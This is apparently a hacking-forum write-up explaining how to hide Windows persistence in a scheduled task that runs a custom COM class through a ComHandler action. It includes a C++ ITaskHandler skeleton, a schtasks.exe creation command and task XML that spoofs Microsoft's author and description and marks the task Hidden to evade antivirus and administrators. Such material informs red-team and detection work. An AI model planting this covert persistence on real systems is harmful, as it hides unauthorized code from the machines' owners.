This forum was built by humans, for humans. AI was used exclusively for security auditing. The forum officially launched on November 24, 2026. Read more

romdump.net
romdump.net › Forum › OS Internals › Stealthy Scheduled Tasks using COM Handlers

Writeup Stealthy Scheduled Tasks using COM Handlers

started by sLo0n

sLo0n Newcomer Posts 2
Rep 7
Joined Nov 2026
15h ago OP #176

Stealthy Scheduled Tasks using COM Handlers

Hello romdump community! 

In this article I will discuss a very interesting technique for obscuring scheduled tasks and their execution.


About Scheduled Tasks

As we all know, Scheduled Tasks are the cronjobs of Windows - we create a task and it executed upon a trigger / time repetition.

Scheduled Tasks can execute binaries, scripts (vbscript, powershell, batch) - which would be very useful for persistence.

Also, as shown above, scheduled tasks can send an e-mail or show a MessageBox to the user - both not very interesting for persistence.


Obscure Scheduled Tasks

As you may have noticed, maintaining persistence to windows machines using Scheduled Tasks is very well-known and monitored aggressively.

Although this facts stands true, obscuring our persistence methods will usually produce better persistence mechanisms, thus avoiding detection by common antivirus software.

A Scheduled Task action that I did not mention, which hides from regular option menus, is the COM Handler Action.

Windows shows this actions as a "Custom Handler" action.


This is a very common action for many default windows scheduled tasks which makes it an interesting target to replicate.

You may ask - Why would this be useful?

Using this custom handler allows us to create an obscure scheduled task, which most administrators would simply ignore without suspecting anything malicious.

Under the surface, the scheduled task handler invokes a COM procedure on a specified COM class.

The XML configuration of such scheduled tasks looks like this:

<?xml version="1.0" encoding="UTF-16"?><Task version="1.6" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">  <RegistrationInfo>    ...  </RegistrationInfo>  <Triggers>    ...  </Triggers>  <Principals>    ...  </Principals>  <Settings>    ...  </Settings>  <Actions Context="Users">    <ComHandler>      <ClassId>{61BCD1B9-340C-40EC-9D41-D7F1C0632F05}</ClassId>      <Data>params</Data>    </ComHandler>  </Actions></Task>

Note the Action handler is of type ComHandler and the parameter ClassId is the CLSID of the COM class we want to invoke.

The Data parameter will be passed to the underlying function of the COM class.

Therefor - if we create a malicious COM class on the target machine we can execute any logic implemented there using a scheduled task 😉

This article will not cover the basics of Windows COM and how to create COM classes, but here are some useful materials:



Actually Creating a COM Handler Scheduled Task

For the actual code - there is an open-source project containing an example implementation of this COM class.

Notably, the ITaskHandler COM Interface needs to be implemented on our COM class for our class to be able to be executed by a scheduled task.

Essentially, this is a basic implementation of a COM class in C++, that implements the IUnknown and ITaskHandler interfaces.

Any COM class that implements the ITaskHandler interface can be referenced from a scheduled task and execute procedures based on triggers from the Task Scheduler.

class CTaskHandler :    public ITaskHandler{public:    CTaskHandler();    virtual ~CTaskHandler();    //IUnknown     STDMETHODIMP QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppObj) override;    STDMETHODIMP_(ULONG) AddRef() override;    STDMETHODIMP_(ULONG) Release() override;    //Task Handler interface    STDMETHODIMP Start(IUnknown* handler, BSTR data) override;    STDMETHODIMP Stop(HRESULT* retCode) override;    STDMETHODIMP Pause() override;    STDMETHODIMP Resume() override;private:    long m_nRefCount;};

When the Scheduled Task executes, the Task Scheduler will trigger the COM Class's Start() method.

When the task's execution stops, the Stop() method is called. Same logic applies for the Pause() and Resume() methods.

By compiling our COM Class to a DLL or EXE and registering it in the registry as a new CLSID we will be able to create a new Scheduled Task that uses our DLL / EXE as a Task Handler.

In order to create a Scheduled Task that uses our COM class and add to the machine we could use many tools, I will use schtasks.exe for simplicity.

schtasks.exe /Create /tn \BogusTask /xml C:\path\to\task.xml

As for the task XML itself, we should copy a legitimate windows scheduled task and modify the trigger & COM handler class - for exanple:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.6" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Source>Device Metadata Refresh Task</Source>
<Author>Microsoft Corporation</Author>
<Description>Performs a device metadata refresh on a periodic basis</Description>
<URI>\Microsoft\Windows\Device Setup\Metadata Refresh</URI>
</RegistrationInfo>
<Triggers>
<!-- CHANGE ME -->
</Triggers>
<Principals>
<Principal id="Users">
<GroupId>S-1-5-4</GroupId>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
<MaintenanceSettings>
<Period>P17D</Period>
<Deadline>P21D</Deadline>
<Exclusive>false</Exclusive>
</MaintenanceSettings>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Users">
<ComHandler>
<!-- CHANGE ME -->
<ClassId>{23C1F3CF-C110-4512-ACA9-7B6174ECE888}</ClassId>
</ComHandler>
</Actions>
</Task>

The cool thing is that the description and author are never validated so our task will look like a legitimate Microsoft scheduled task!


Summary

Although the technique itself is quite simple, it is a neat trick that I used a while back and it is a good bit of knowledge to have.

I hope you enjoyed this article and learned a thing or two.

On a personal note: I appreciate this new forum and the community it creates - can't wait to watch it grow 😁

🐘   .   .   .   .   .   💩
1 like · 0 dislikes

Log in to reply.